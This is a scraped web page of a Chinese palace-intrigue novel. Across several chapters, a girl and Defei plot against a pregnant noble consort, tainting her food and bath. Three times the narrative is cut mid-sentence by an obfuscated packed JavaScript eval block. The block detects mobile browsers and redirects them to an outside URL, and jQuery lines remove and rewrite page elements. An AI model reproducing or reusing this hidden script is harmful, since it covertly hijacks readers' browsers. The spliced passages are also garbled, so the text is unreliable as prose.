“京城三年未见一场雪了,今年入冬,这已经是第四场,真盼着来年是个丰收的好年头。” 这雪下的让他多了三分兴致,三分喜悦,就连?公公打过来的伞都让收了。 忽然,前面月拱桥上一袭白衣女子娉婷旋转的舞姿吸引了他的视线。 那女人衣裙翩翩,周围萦绕着一层层彩带,似彩环将她拢罩在其中,轻雪在裙摆的吹浮下被甩至半空,平添了一丝梦幻,那人儿就像是随时都要腾飞而去的仙子,让皇上想伸手将其抓住。 姜妙梨看到皇上来了,舞得越发忘我。 月华洒在她外裸的肌肤之上,渡上一层银光,美得令人窒息。 皇上不自觉便加快了脚步,只想看清那是何人。 忽然,月下仙子跳上桥拦,单脚踩在石柱上不停地旋转着,忽然她身子一歪,直直向下坠去。 “小心。” 皇上都不知自己哪来的气力,竟是在仙子纵身一跃摔落在地前,堪堪将人给接了个满怀。 姜妙梨的心扑通扑通狂跳着。 她将命赌在今夜,不成仁则成魂。 该有的疼痛感迟迟没有传来,一滴泪从紧闭的眼眸中滑落,她赌赢了。 “怎地这么不知小心,你可知刚刚有多危险?” 如扇的羽睫展动,姜妙梨睁开水润的眸子,呆呆地看着皇上。 “我这是在做梦吗?” ?公公一旁担忧地大呼小叫,“皇上,您可还好,有没有伤到?” 然而此时的承德帝眼里只有美人,这女子好生眼熟,可他却记不起是哪宫的妃嫔。 一抹赤红的梅花钿刻画在女子苍白的小脸上,眉宇之间皆是淡淡的哀愁,怀中的人痴痴的凝望着他,眼里是痴痴的爱意。 “皇上?妙梨又见到您了?”语罢,她扑进皇上的怀里,忍不住抽噎。 “你是——妙梨?” 姜妙梨这时似后知后觉开始挣扎,“皇上,妙梨不知皇上会经此处,惊扰了圣驾,还请皇上责罚。” 皇上爱怜地看着她赤裸的娇足,单薄的身子在怀里瑟瑟发抖,身子轻得如同没有分量。 这样的美人,皇上又哪里舍得放下。 “为何深夜在此起舞,又为何穿得这样轻薄?” 姜妙梨别开头,紧咬着下唇,眼角皆是泪。 “臣妾先前愚笨,犯了大错。听说月下落雪,是有仙人施法,就想以舞来祭拜仙人,为皇上和皇后娘娘祈福。” 这样的美人,这样动听的情话,皇上怎能不心猿意马。 “?公公,抬朕轿撵,起驾储秀宫。” 凤南茵躲在暗处,直到这一刻才稍稍松了一口气。 她没想到妙嫔比她想像的还要豁得出去。 若皇上没有上前去接她,这一摔不死怕也要残了。 好在她赌对了,妙嫔也赌对了。 此时雪花已经停了,风将圆月吹露出来,她感恩地双手合十。 感谢老天今晚赐了一场轻雪。 一夜承欢。 次日,流水一样的恩赐赏送进储秀宫,昔日冷清无人问津的宫殿,差点被宫人踏破了门槛。 人人都以为那个不起眼的妙嫔只会香消玉殒在后宫当中,结果一夜之间,竟翻了身。 德妃落下汤匙,用帕子擦拭了唇角,这才笑看着凤南茵。 “储秀宫那位得宠,是你帮衬的?” 凤南茵吐了吐舌头,“什么都瞒不过娘亲。” 德妃轻哼,“拐着一双腿四处乱跑,你当我不担心?” 凤南茵陪笑,讨好道:“娘亲,我咽不下这口气,他们让您受委屈,我就想还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242566|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来。” 德妃何尝不知她的用心,手点指着她的脑门,“你啊,要是让那位知道是你背后捣鬼,怕是要更恨你了。” “我又没做什么,就是去看了看吃不上饭,快要病死的失宠妃嫔。妙嫔能再得盛宠,是她自己有本事。” 德妃嘴上说她,心中却是欢喜的,她的小棉袄同样知道护她。 “那位当初将人舍弃,像舍破抹布一样,毫无情意。现在被自己瞧不眼的妃嫔夺了宠爱,不知要气成什么样呢。” “南茵才不管她气成什么样,只求那妙嫔是个争气的,免得总是将注意力放在钟粹宫。” 思及此,凤南茵觉得,只一个妙嫔还不够。 娘亲的法子固然好,可是想见效果还要再等半年,眼下心口憋着的恶气她还没发出来。 “娘亲,昨日您受了伤,靖王入宫来瞧您也是应当的吧?” 德妃佯装嗔怒,“这一点子小事,哪里值得让他担心。” 转头她觉得南茵不是那种喜欢给自己人找麻烦的性子,“你想见轩儿?” 凤南茵嘿笑,“南茵不是想见轩王,是想他从宫外带一点东西进来。” 这太医院取药,怕是前脚才离开,后脚就有人告知贵妃了。 靖王入宫,无人会搜他的身,借着这个机会就容易的多。 德妃蹙眉,“你想做什么?” “娘亲,贵妃得意的还不是如今手掌六宫的权利,女儿看来,她有了身孕,就不该操劳。母妃如今身子大好,您才该做那筹办宫宴之人。” 如今后宫谁得势,朝臣就会猜意皇上属意哪位皇子。 德妃本无争这份掌管六宫的心思,但是能让贵妃吃瘪,确实是自己想看到的。 “你有法子?” 凤南茵:“不敢说十成十,得见过了靖王才能知晓。” 德妃道:“夏公公,传本宫旨意,让靖王带信,就称本宫病了,想见他。” 她昨日碰破了头,本不愿意更多人知晓,如今却是一改常态,扮起娇弱了来。 开始闭门谢客,只等儿子来见她。 第一百三十三章勾心斗角 余贵妃将宫的茶碗全砸了。 这会一地的瓷器碎片,也不让宫人收拾,只自己用手杵着额头,气得脑仁青筋直跳。 时菁雨赶来时,看到殿内杂乱无处下脚,喝斥宫人。 “还不收拾干净。” 贵妃听到她的声音,非但情绪不见好,反而更气了。 “滚出去。” 七公主从未被人这样喝斥过,她都有一些不认得母妃了。 “母妃,您怎么了?” 贵妃瞪着她,“我怎么生了你这么一个没用的东西,你知道那妙嫔得宠,是谁在背后帮衬吗?” 时菁雨顿住。 “是凤南茵,是那个你哭着嚷着要留在宫里,是你口口声声称她心性单纯的小丫头片子。” “母妃,是不是搞错了,我听她提过妙嫔,只是单纯觉得她可怜才帮忙的。” 余贵妃看着自己的傻女儿,“可怜她,至于在她自己腿跪瘸的情况下去见人?” 她是这后宫至高无上的贵妃,他人的一举一动都躲不过她的眼睛。 时菁雨不愿意相信,可母妃说的确实有道理。 许久,她道:“母妃,应当还是你想多了,她还小,哪来那么多的心机。” 她说完,转身就走,她要去问问凤南茵,母妃说的是不是真的。 凤南茵这会刚从东宫回来,如今要负责太子的一日三餐,她要比平常早起一个时辰才能完成任务。 甬道上,二人相遇,时菁雨跑到她近前。 “南茵,你为什么要帮储秀宫那位?” 帮她上位,夺我母妃的宠爱。 凤南茵见她一如从前那样藏不住心事,这么直接就找到自己,反而松了一口气。 她诚惶诚恐地看着对方,“公主,我做错了什么吗?” 时菁雨不敢置信地看着她,“所以,真的是你帮妙嫔得宠的?” “公主,你在说什么?我只是看着念芯可怜,先前帮了她一次,我和您说过的。这和妙嫔有什么关系?” 时菁雨狐疑地看着她,“不是你帮她争宠?” 给我母妃添堵? 凤南茵拉着她的手往钟粹宫走,“公主,你知道妙嫔有多可怜吗?念芯和我说的时候,我都不信,原来坐到妃嫔位也和普通百姓一样,吃不上饭。她除了房子住的好一些,甚至比普通百姓还可怜,连口热水都喝不上。” 时菁雨:“……” 不可能吧? 凤南茵:“念芯找到我是想要一点炭火,说他们小主连热水都喝不上,我见她说的可怜,这才带蝶兰去了。” 她不住地摇头,还长长叹了一口气。 “你是不知她住那屋子,冷得和破庙也没啥区别。” “可是你的腿还有伤。” 凤南茵知道,三言两语消不掉公主的疑心,她道:“当初我带着凤南蓉逃命的时候,连乱葬岗都睡过,她病的昏迷不醒,一路都是我拖拽她逃路,现在这点伤又算什么。” 她活动着腿脚,“您看,我今天可是卯时就去了东宫,忙了一个时辰,还不是走回来了。” 七公主见她与自己说话毫无心虚的样子,而且昨日都走不了路的人,今天走路就看不出端倪了,他觉得应是母妃多心了。 “我找你也没别的事,就是好奇你为什么帮一个素不相识的人,我也是怕你给自己招惹上麻烦。” 说到这里,凤南茵忽然难过起来。 “皇上不让我再碰香料,可我真的没有做那香,以后我想开一个香料水粉铺子的愿望也落空了。” 时菁雨心中已经很笃定,一切都是母妃所为。 她心中有愧,觉得是自己害了南茵,便道:“你放心,我一定会向父皇求情的,让他收回成命,你有这么高的制香天赋不能碰香料,太可惜了。” 凤南茵立即露出欢喜的模样,抓着她的手感谢。 “我就知道公主对我最好了,过几天我让人从我家中带些荷花露来,给公主做香香的荷花酥。” “不是吧南茵,你会做荷花露?那是不是到了春天,我想要什么花露,你就能给我做什么花露?” 凤南茵对她眨眨眼,“宫中没有这些吗?” 七公主摇头,“我不知别人会不会,反正没有这等东西的,最多就是桂花油,玫瑰油,没有能吃的。” “我会做,不过花露是我师伯收集的,毕竟先前我连饭都吃不上了,没那条件弄。” “南茵,现在我就安排人出宫去取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242567|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,我都等不及了。” “好。” 她心中冷笑,这么容易就将人又收买了。 贵妃娘娘,你以为真的能挑拨得了我与七公主的关系? 自己这张清纯又无辜的脸,就是最大的法宝,加上一手新奇的好点子,就是最大的武器。 她问:“不过公主殿下,我觉得你还是要防着一点皇后娘娘,宫中就咱二人去太医院取过香料,娘娘眼下放过我了,可你那边她不会一点不怀疑吧?” 她问这话时,仔细盯着七公主的眼睛。 见她果然在闪躲,藏在袖中的手慢慢攥紧了。 在这后宫,果然没有可信的朋友。 这位公主表面对她十成的好,还不是暗中把她给坑害了。 贵妃与七公主这般害她,这个仇她必须讨要回来。 时菁雨不想再提这事,她怕说多了凤南茵会怀疑自己。 她撒娇地拉着凤南茵的手往钟粹宫走,“我才不怕她呢,父皇最是宠我。走吧,你快回去写方子,我叫人出宫将东西带回来。” “好。” 这一次,凤南茵罗列了许多东西,几乎把半个保和堂都搬空了。 而这些东西里,有一半寒凉之物,且对胎儿极为不利的东西。 如桃花露,这等养颜补气血的东西,却也活血,孕妇禁忌。 还有山楂,活血化瘀、消食化积、可它却能引发宫缩、流产。 还有柿子,大寒之物,吃多了也会让孕妇极为不适,还会引发便秘。 她不是用相克的食物害娘亲吗,她就用美味的食物还回去。 然而,谁也没想到,这时安王却从甬道另一边走出来,他似等待时机许久一般,直直与凤南茵撞了个满怀。 安王生的高大,成年男子的身量直接将凤南茵的身子撞得向后仰倒。 眼看人就要摔倒,蝶兰惊呼着要去搀扶,已经来不及。 凤南茵被一条有力的手臂揽住了腰肢。 “小心。” 安王身上有一种凛冽好闻的檀香气息,五官似贵妃,人如冠玉,生得阴柔俊美。 “可有伤到?”他语气极为温柔,似多情的君子,含情脉脉地看着凤南茵惊惶失措的小脸。 第一百三十四章以其人之道还至其人之身 凤南茵不认得他,却晓得这后宫当中,所有女子都是皇上一人所有,不可与外男亲密接触,否则被人拿了把柄,死都没处说理去。 她忙站直了身子,退后三步,拉开二人距离。 “民女不知前路有人,冲撞了贵人,还请责罚。” 安王哈哈大笑,“是本王唐突,与美人无关。” 时菁雨翻了一个白眼,“四哥,你干吗突然冲出来吓人?” 安王的一双桃花眼滴溜溜落在凤南茵脸上,根本不理睬时菁雨的话。 他在心里不住地咋舌。 母妃竟然为了这么一个小人,让他堂堂安王出马,对这种小丫头情有独钟,一见钟情? 传扬出去,他要不要脸面。 “小妹,你们这是去哪?你身边这位姑娘又是哪府上的千金。” 他在心中掂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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靖王知道这丫头胆大、心思也够缜密,既然她想到利用贵妃的妊娠反应做文章,这事可以试试。 春宴,一年当中第一场盛大的宴会,往年由皇后娘娘亲自操办,今年皇后被夺了六宫掌事权,由贵妃全权掌管。 这是贵妃统理六宫以来,亲自主持的最大宴席,她忙活一场,若因为身体不适不能出席,朝臣心下多少会生猜疑,介时…… “将你所需的药材写下,本王即刻出宫着手采买。” “王爷,采买时不能落下证据,此事不能急,回保和堂取药吧。” 她也准备将能想到,日后会用的药都取一些,以备不时之需。 靖王看了她一眼,点点头,表示赞同。 “好!” 德妃见儿子支持南茵,便不再阻拦。 孩子们都在为她出气,她何其有幸,生了一个能干的儿子,又得了一个聪慧的女儿。 “轩儿,近来朝堂之上一切可顺利?” 靖王只有面对母妃时,才会露出温柔的笑,眼底皆是温柔缱绻。 “一切很顺利。” 凤南茵看着他们母子之间涌动的温情,不知不觉就生了羡慕。 她垂下头,不再打量,还有一层原因,这样的靖王当真温柔的令人向往,她竟是情不自禁将他的笑印在了脑海里。 诶! “南茵,你听听,朝臣可都夸赞你的点子好呢,咱们的南茵就是聪慧。” “啊?”凤南茵走神了。 靖王见她这会还能发呆,呵笑一声,“你的点子很好,需要赈济的灾民忽然就变少了,粥棚前再没有拥堵的现象,各地的粮食终于也没那般告急了。” “现在修建城墙及修建皇陵的工程也在筹建中,只京城报名的劳力便有三千人,其中两千皆为流民,相信不久将来,这些逃荒至京的人会陆续返乡。” 凤南茵听到她的点子起了作用,羞赧地垂下头。 “我只是站在穷苦百姓的立场上考虑事情,哪来的聪慧,娘亲和王爷赞誉了。” 靖王若有所感,站在百姓的立场想事情? 他有所悟,很是欣赏地看着她,问:“不管怎么说,你帮本王解决了大麻烦,你想要什么回报?” 凤南茵忽然抬眸,小鹿一样的眼里再次露出呆萌的样子,看得靖王忍不住失笑。 “这么吃惊?” 她现在觉得自己很幸福,娘亲给了她所有姑娘家想要的华丽衣饰,师伯给了她大量的金银,物质上她什么都不缺。 凤南茵摇头,“我,好像没有想要的。” “那就先欠着,等你有想要的再与我说。” 随后他又道:“对了,你大哥如今回京了,以他的能力,要不了多久便能高升,他想见见你,你可愿意?” 凤南茵对于家人的亲情早失了渴望,凤泽宇想见她,怕也是想从中说和。 “我这一个月,每日都要到东宫为太子调理身体,无暇出宫,还请王爷转达。” 靖王见她对家人如此抵触,也不强求。 靖王在一旁看着她写方子,字迹充其量能称之为工整,与好看搭不上边,却像她人一样,笔锋当中藏着坚毅,有自己的性格。 “你舅舅将那秀女的名额要了回去,但是凤夫人还不死心,让你大哥又求到了我这里。” 靖王也看不穿凤家人到底是怎么想的,如今家道中落到如此,竟然还削尖了脑袋将女儿往宫中送。 送进来让人奴役吗? 他一旁,尝试着将宫外凤家人的事讲给凤南茵。 凤南茵笔下一顿,氤氲出一点墨迹。 想到凤家人会因为凤南蓉的入宫名额挖空心思,最后不知求到谁的头上也要送人进来,她便忍不住想笑。 凤家是认定了凤南蓉能成为凤,是吗? 以她对凤南蓉的了解,她那秉性,怕是入宫第一天就被欺压的哭着想娘。 除了样貌,还有才艺,那般骄纵的性格不知要吃多少亏。 “王爷不是想重用凤泽宇吗,不如卖他一个人情,将来凤南蓉好了,他感激,她混得不好,王爷也拒绝过他,怨不得您。” 她说着,笔上的速度不减少,前前后后写了将近百种药草名。 靖王别有深意地看着她,“你竟然期望她入宫?” 凤南茵吹了吹纸上的墨渍,头都没有抬,只想着可还有遗漏。 最后确定能想到的全写进去了,交给靖王。 “凤夫人想做的事情,竭尽全力也会促成的。这与我期望没有关系,当年凤家老夫人为了那个签文,不惜将亲孙女丢弃,我也想看看,凤南蓉最后能爬多高。” 凤南茵心中是骄傲的,她喜欢直面困难,求靖王断了凤南蓉入宫的路,肯定是能成的,只是她心下也有不甘。 若是那般,她自幼被遗弃,从未体验父母的温情又算什么。 她想亲眼看着凤南蓉跌倒。 德妃不赞同地摇头,青岚那要强的性子也不知是害了她,还是成就了她。 第一百三十六章顺手人情,替贵妃治脸 转眼,春节将至。 德妃忙了起来,每日都要应对内务府的管事前来问话,还要时不时拿定主意。 起因还是贵妃娘娘忽然就妊娠反应大了起来,脸上起了大片的毒疹,先前零星几颗,还能掩饰,忽然一夜间就见不得了人。 太医称这是因为腹中胎儿见长,引发的毒素外发。 因着服用汤药会对腹中龙嗣不利,只能外涂,脸上红肿未消,还将本来保养极为白皙的脸颊涂抹得青黑,连皇上去探望她,都隔着纱帐,似是不能见人了。 听传闻,现在翊坤宫每日都能听到打砸声,太医被叱责降罚了好几位。 能想的法子都想了,可是那疹子起了又落,落了又起。 时菁雨找到凤南茵的时候,情致恹恹的。 “南茵,母妃脸上发了毒疹,又因为身孕不能用汤药,你的药膳可有法子让她的红疹消掉吗?” 凤南茵眨巴着纯真的大眼睛看向她,“有倒是有,但是我没看到贵妃娘娘的状态,不敢妄下定论,你知道的,我胆子小,万一娘娘用了我的药膳出了事,我十个脑袋都不够砍的。” 时菁雨是真的被母妃折磨怕了,她拉着凤南茵的手央求着。 “你帮帮我吧,母妃如今每日火气大的无人敢近身伺候,连我过去请安都要被骂。” 她心里替母妃难过,春宴这么好的得脸机会,偏偏病了,还病在脸上,那浮肿的模样她看了都怕。 凤南茵正愁娘亲的计划没有机会,如今不就来了。 “公主,娘娘的命我不敢打包票,但是为了你,我愿意尽力试试。” “太好了。” 时菁雨拉着人就要去翊坤宫,“我们现在就走。” 凤南茵可不想那么快就去。 “公主,今天我先答应了太子殿下为他做甜点,明日我从东宫出来,直接到翊坤宫寻你,你也和贵妃娘娘说一声,我怕她并不想我给医治。” “不会的,娘亲现在夜不能寐,时常被那疹子痒醒,若是有法子让体毒消了,她一定愿意试的。” 凤南茵心道,那是公主您的想法,贵妃娘娘未必信我。 但她必须要将这事告诉娘亲,那东西该准备了,机会已经来了。 翌日。 凤南茵特意将自己打扮的低调些,天青色的小袄与身旁的雏菊相差不多,头上一如既往地不喜戴钗环,清爽利落地出现在翊坤宫门前。 七公主早就在翘首企盼了,见她来了,忙拉着人往内走。 “昨日我和母妃说了,她听说你有祛内毒的法子,答应让你瞧瞧。” “那我尽力,但真的不敢保证,毕竟太医都没法子事情。” 余贵妃脸上罩了面纱,一身墨绿色宫装端坐在高位,哪怕是病着,今日依旧满头珠翠,气势逼人。 凤南茵对这位心狠手辣的贵妃娘娘是惧怕的,她小心上前。 “给贵妃娘娘请安。” 好半晌,贵妃一直未让她起身,只直直地盯着凤南茵,对她进行着打量。 余贵妃从心底就对这丫头厌恶,自打这人入了宫,先是将自己精心布的局给毁了,后又让皇后对她生了疑心。 没两日她这脸上就起了疹子,手中统理六宫的大权还没捂热乎,就到了德妃的手中。 要不是之前脸上就起了疹子,她都怀疑被人下了毒。 尤其是吃过这丫头送的甜点后没两日就这样了。 凤南茵被贵妃看得脊背汗毛都竖了起来,双腿渐渐有些撑不住。 时菁雨忙唤她,“母妃,南茵过来是想帮您的。” 余贵妃冷哼,“起来吧。” 凤南茵站起身时,腿都软了,心也提到了嗓子眼。 “娘娘,七公主昨日寻到我,民女才敢斗胆前来,若是能力不足,不能替娘娘分担一二,还请恕罪。” “你倒是有自知之明,其实本宫也是不信你的,毕竟太医都不能让我的脸得到缓解。不过念在我儿一片孝心,便让你过来搭个脉吧。” 凤南茵心道,太医治不好您,那是因为您每日都受我的药粉所害,当然好不了。 她小心翼翼地上前,有宫人替贵妃在皓腕上搭了帕子,凤南茵装模作样地把起脉。 贵妃的病症,她早就打听过了,说出的话如太医无二。 肝火郁结,心思过重,要平心静气注意休养。 “娘娘,其实您这症状即便不用药,等胎落稳了,过了四月便可自行消退。” 如今贵妃有孕三个月,让她再煎熬一个月,肯定是受不得的。 “你说的倒是与太医无二,听菁雨说,你的药膳能让我这毒素好转,不如你开个方子,本宫试试。” 开方子,那是不成的,这药膳必须从钟粹宫出。 她跪下,态度诚恳道:“娘娘,这种体毒有几种药膳可调理,但大部分收效慢,且热度多用寒凉之物克制,那样对胎儿不好。” “不如我先送两副汤过来,您觉得吃起来合适,我再留方。” 这时丛嬷嬷警告道:“娘娘身子贵重,你可晓得吃坏了身子是何后果。” 凤南茵望向她,声音里带出不满。 “既然是我送的吃食,自然晓得出事的后果。本我也是不敢来的,但是我见不得公主难过,嬷嬷这般恐吓我,我倒是连方子都不敢出了。” 余贵妃被脸上的瘙痒惹得心烦不已。 她若不是怕花了这张脸强忍着,早就挠破相了。 “本宫让你来,自然是信你,不过你可有把握?” “若娘娘只用我递过来的吃食,且能忌口,平心静气养着,注意休息,三日就能见效,七日就能完全消除红疹。” 余贵妃一听,最快还要三日,那天就是春宴了,她岂不是彻底没机会参加了? 凤南茵又道:“娘娘这些时间,切忌不能用护肤品,太医给的药膏倒是可用着,但是忌讳沐浴。” 她这么一说,余贵妃好似恍然,她喜欢每日净身,可这脸确实每次洗澡过后就会复发,原来症结在这里。 “这是为何,为什么怕洗澡?” “娘娘这毒,若细论也是湿毒,忌热、忌燥、忌潮湿,忌一切辛辣及发物。” 她吹嘘的头头是道,实则那药就下在净房浴桶当中,她七天不沐浴,这脸自然就自愈了。 看着余贵妃那一脸的恍然,心中止不住发笑,偏还要努力崩着小脸,差点憋出内伤。 “你说的倒是与太医相差不多,如此本宫便忍上三日,若有成效,本宫不会忘记赏你。” 凤南茵忙跪下叩头,“三日不到的时候,还请娘娘耐心,莫要过于心急。若娘娘实在心急,看看太医们还有什么好法子。” 贵妃一想到那些个蠢物,只会说一些她听不懂的话,无非是让她忍耐,等着孩子大一些就会消。 她都想将这群废物都杀了。 “行了,快去准备吧,今天算第一日。” 如此一来,说不定春宴她还能出席。 凤南茵何尝不知她的打算,她瞥了一眼一旁吃剩下半碟的梨片,心中有了主意。 “是娘娘,南茵这就回宫准备。” 第一百三十七章想师伯了 贵妃抬手想挠痒,被丛嬷嬷拉住手,“娘娘,再忍忍,不能挠啊!” 余贵妃愤恨,“哼,这些个废物,要是让凤南茵治好我的脸,看本宫怎么降他们的罪。” 平白遭了这许多日子的罪,不是废物是什么。 丛嬷嬷带着质疑,她问:“娘娘,您说她一个小小丫头,怎么有那么大的本事,要是她真的将您脸治好了,您说会不会是钟粹宫那位的算计?” 余贵妃蹙眉,抚摸上自己的脸。 “刘太医是我的人,他都没看出端倪,该是咱们想多了吧?” 她这脸在有孕第二个月就在闹毛病,该是年纪大了有孕,身体不适造成的。 “且她那么一个性子,自己差点死了都不知是我所为,应该就是你想多了。” 丛嬷嬷觉得很邪乎,“老奴总是怀疑,那丫头看起来也就十三四岁,真有那么多本事?娘娘还是小心些才好。” 凤南茵这边回了钟粹宫便将一早给贵妃看病的事与娘亲说了。 “娘亲,您的计划可以实施了,这几日我会送汤过去,那东西刚好可以加在汤中。” 德妃很是欣慰地拉着她的手,不知怎么疼爱好了。 “老天定是心疼我一直想有个闺女,就将你送到了我身边。真真是让人不知怎么爱好了。” 凤南茵被她慈爱的神情触动,心中也是暖的厉害。 “娘亲,今日贵妃娘娘就要送膳食,准备的时间不多了。” 德妃传旨意,“给靖王送信,就说先前他送过来的肉本宫尝着味美,让他再送一些过来,给他父皇还有各宫娘娘也分些。” 夏公公晓得,娘娘这是要动手了。 “喏。” 三年灾荒,一应物产锐减,权贵们的吃食也变得单一匮乏,唯有真正有权势之人,才有能力及渠道弄来吃食。 靖王在庄上养了一批野味,母妃这边传信,一个时辰后,宰杀好的肉便送进了宫中。 二品以上设有小厨房的宫殿德妃都有命人送了三斤鲜肉。 剩余的送去了御膳房,留得宫宴上食用。 钟粹宫留了几十斤,冻在库房里。 夏宫宫端着一个餐盒送到凤南茵近前,“小主子,这是您要的‘鹿’肉。” 凤南茵看了一眼拆卸下来鲜红细腻的小小肉块,就知这不是鹿肉。 她看破不说破,点了点头。 “我晓得了。” 这肉直接入汤,绝对能被人一眼看出来,她思忖了一会,最后将那血肉直接剁成肉泥,裹了要用的草药用细棉包了塞进了焯水乳鸽的腹腔。 这才上锅蒸炖。 期间翊坤宫叫人来催促了两次,都被夏公公以食材没送到为由将人遣退了。 凤南茵从东宫回来,那乳鸽都炖得糜烂了。 她看了一眼,随后加了两片薄荷叶,洒进几粒枸杞添色,带着人去了翊坤宫。 余贵妃饿得都要前胸贴后背了,万万没想到这汤到了未时才送到。 “娘娘,清鸽仙药汤送来了。” 余贵妃饿得难受,下人端上来一盆汤,清凉凉的只有一个小小的烂鸽子,里面再无可食之物,脸色沉了沉。 “你叫本宫今日只用这个?” 凤南茵怔了一下便明白了贵妃之意,她这是怕自己在药膳当中做手脚,不打算再吃其它吃食啊。 “娘娘,这汤清淡,可以排毒养生,对您和胎儿都有益处,正餐您只需食些清淡的即好。” 丛嬷嬷凑近闻了闻,味道倒是鲜香,看卖相也不错,可…… “你这一只鸽子就能治娘娘的病?” 凤南茵笑笑,“药包在鸽子腹中,这样不影响视觉。” 贵妃:“里面都放了哪些药材?” “上等茶叶、紫苏叶、石菖蒲、泽泻、山楂少许。” 她话音才落,余贵妃看向一旁,凤南茵这才发现这殿中竟还有一位太医。 刘太医道:“回娘娘,若是这几味混合有泄泻的功效,但有枸杞又能综合药剂,不会对身体造成伤害。” 凤南茵:“娘娘,这汤趁热喝,口感好。” 贵妃并没有安心,而是命人把鸽子腹中的药包取出来又让太医查验了,与所说的无异,这才放心食用。 凤南茵的意思是,可以随餐一同吃用,可是贵妃极为小心,她宁愿把鸽子肉都用了,也不肯混合别的吃食。 一直到用完膳半个时辰,也没觉得有任何不适,才放凤南茵离开。 说来也奇了,一夜过去,余贵妃的脸上再没起新的毒疮,瘙痒感也减轻,干脆让那边送餐,也不麻烦自己宫中人做吃食。 凤南茵干脆将加了料的药包一次性全部做出来放在小库房里冷冻着,余下就交给了宫人,不再亲力亲为盯着。 除夕日,她早起心情便有些抑郁寡欢。 难得皇后准了假,今日不用到东宫伺候,陪德妃用膳时,心情都写到了脸上。 “怎么了,可是近来累到了?” 凤南茵摇头,每天就做几道膳食而已,从前跟着阿爷四下为人瞧病,出门就是一大天也没累过。 “我想师伯了,平日他就一个人,难得过节,我也不能陪在身边,他该是多孤单。” 德妃见她如此,便道:“宫宴要酉时末才开始,一会你就出宫陪陪他老人家吧,晚宴前记得回宫,娘亲为你备了漂亮的衣裙,今日便介绍你与大家相识。” 凤南茵瞪着麋鹿一样无辜的大眼睛,忽然眼泪就涌出来了。 “娘亲。” 她扑进德妃的怀里,感动的想哭。 她唤德妃娘亲,想帮她,护她,可是她始终觉得与德妃之间有一层纱,这层纱让她无法自如地亲近德妃。 这一次她发乎于情地一抱,才发觉,娘亲的怀抱真的好温暖,好暖好暖。 “快吃吧,一会出宫的时候我叫夏公公陪你,顺便给他老人家带些礼物。” 凤南茵的心都飞到小院了,胡乱往嘴里塞了一个包子就称自己吃好了。 德妃叹了一口气,这孩子将心思藏的太深了,这是实在难过了,才说出来。 “小主子多幸福,有娘娘您宠着她,这宫中多少人想家也不能回去探望一眼,娘娘这些年不也是如此。” 德妃在心中轻叹了一口气,“说这些做什么,趁着这会有空,咱们再去看看宫宴还有哪处不足。” 这时,翊坤宫的余贵妃正在上妆。 她看着镜中已经消肿容貌很是得意,“真没想到,饿了这三日,我这容貌反而恢复往昔,这两个月脸上长的肉都清减下去了。” “娘娘,虽说容貌恢复了,可不能一直这样饿着,于腹中的龙嗣不好。” 余贵妃不愿意听这些,只道:“储秀宫那边可都安排妥当了?” 丛嬷嬷脸上露出坏笑,“娘娘放心,过了今晚,那位巧嫔绝对再难活命。” 贵妃脸上露出得意,“想分走本宫的盛宠,也不掂量掂量自己的斤两。” 她得意劲还没过,忽然腹部一阵绞痛。 “嬷嬷,我这……”那痛感上来,竟是话都说不出来,也只是一瞬间,额头就生出了汗。 第一百三十八章母女联手,出口恶气 都说天狂必有雨,人狂必有祸。 余贵妃忽然觉得她怎么就开始犯太岁起来,才恢复了容貌,可以盛装出席春宴,结果她便腹痛难忍,竟然开始腹泻。 本就饿了三日,全靠汤水吊着精气神,这一泻,竟是下不来床了。 翊坤宫的主子病了,连皇上都惊动了。 皇上看着脸色惨白,眼中都没了神采的贵妃,心疼的厉害。 “好端端的,怎么就闹了痢疾?” 余贵妃心中生恨,她死死抓住皇上的手。 “皇上,是凤南茵害我,她这是想要我的命。” 丛嬷嬷也道:“皇上,刘太医也说过,她给娘娘熬制的药膳有泄泻的效果,今天定是药量放过了,才害了我们娘娘这般。” 时菁雨想替南茵说两句话,可是看到母妃痛成这样,又担心她腹中的皇弟或者皇妹,终是闭了嘴。 德妃听到动静一早也过来了,她怕的就是贵妃会污蔑南茵。 听到她们主仆二人翻脸无情,张嘴就是污蔑,她忍无可忍。 “你们说话要有证据,南茵为什么要害你,当初要不是七公主相求,她会给自己找麻烦?” 余贵妃泫然欲泣地跌进皇上的怀里,“圣上,臣妾都这样了,妹妹她还在包庇那丫头,难不成真的要我死了,才能说明她要害我吗?” 德妃心道,若是可以,还真想害死你算了。 她直接跪下,却是笔挺着身姿,“皇上,残害贵妃是死罪,既然如此,为何不在第一天就下毒,还要伺候贵妃容貌恢复后再下手?贵妃倒是会卸磨杀驴,不想打赏南茵我儿,也不想欠她恩情,现在竟然还叩她害贵妃性命的罪名。” 她俯下身,“皇上,您干脆将臣妾也一起治罪吧!” 